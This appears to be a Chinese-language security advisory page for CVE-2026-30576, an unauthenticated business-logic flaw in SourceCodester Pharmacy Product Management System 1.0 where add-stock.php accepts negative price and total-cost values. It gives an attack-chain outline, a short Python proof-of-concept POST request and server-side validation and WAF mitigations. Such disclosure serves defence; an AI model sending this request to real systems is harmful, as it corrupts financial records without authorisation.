IPBUF安全漏洞报告
English
CVE-2026-30576 CVSS 7.5 高危

CVE-2026-30576 SourceCodester药房管理系统业务逻辑漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30576
漏洞类型
业务逻辑漏洞
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Product Management System

相关标签

业务逻辑漏洞SourceCodesterCVSS-7.5数据完整性无需认证

漏洞概述

SourceCodester Pharmacy Product Management System 1.0版本中的add-stock.php文件存在业务逻辑漏洞。由于系统在库存录入过程中未能正确验证“txtprice”和“txttotalcost”参数,攻击者可以提交负数值。该缺陷导致财务记录受损,允许恶意用户操纵库存资产价值和采购成本,对系统数据的完整性和财务安全构成威胁。

技术细节

该漏洞属于典型的业务逻辑缺陷,位于库存添加功能模块。在正常业务流程中,商品价格和总成本理应为正数,但后端代码在处理add-stock.php的请求时,缺乏对输入数据“txtprice”(单价)和“txttotalcost”(总成本)的有效范围及符号校验。攻击者无需经过身份验证(PR:N),即可利用网络接口(AV:N)构造特制的HTTP请求,将上述参数修改为负数(例如-999)。服务器端逻辑未对此异常情况进行拦截,直接将负值写入数据库。这导致库存资产的账面价值被非法扣减或产生混乱的财务记录。攻击者利用此漏洞可操纵库存估值和采购成本,严重破坏了系统数据的完整性,且无需用户交互即可实施攻击。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是SourceCodester Pharmacy Product Management System 1.0,并定位到add-stock.php接口。
STEP 2
漏洞分析
攻击者分析发现该接口在处理库存入库请求时,仅依赖前端验证或缺失对价格参数的后端逻辑校验。
STEP 3
构造攻击载荷
攻击者构造HTTP POST请求,将txtprice和txttotalcost参数的值设置为负数(如-100)。
STEP 4
执行利用
向服务器发送恶意请求,由于无需认证且无交互,服务器直接接收并处理该负值数据。
STEP 5
达成影响
数据库中插入了负的资产价值,导致财务报表受损,库存成本被非法操纵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_negative_price(target_url): """ PoC for CVE-2026-30576: Business Logic Vulnerability in Pharmacy Product Management System. Demonstrates submitting negative values for price and total cost. """ # The endpoint responsible for adding stock endpoint = "/add-stock.php" full_url = f"{target_url}{endpoint}" # Payload containing negative financial values data_payload = { "txtproduct": "1", # Valid Product ID "txtqty": "10", # Valid Quantity "txtprice": "-500.00", # Malicious: Negative Price "txttotalcost": "-5000.00" # Malicious: Negative Total Cost } try: # Sending the POST request to the vulnerable application response = requests.post(full_url, data=data_payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the database/financial records to verify if negative values were accepted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/pharmacy" exploit_negative_price(target)

影响范围

SourceCodester Pharmacy Product Management System 1.0

防御指南

临时缓解措施
建议立即实施服务器端输入验证,拒绝任何非正数的价格和成本输入。在未修复前,可在Web应用防火墙(WAF)中添加规则,拦截针对add-stock.php且包含负数值参数的POST请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表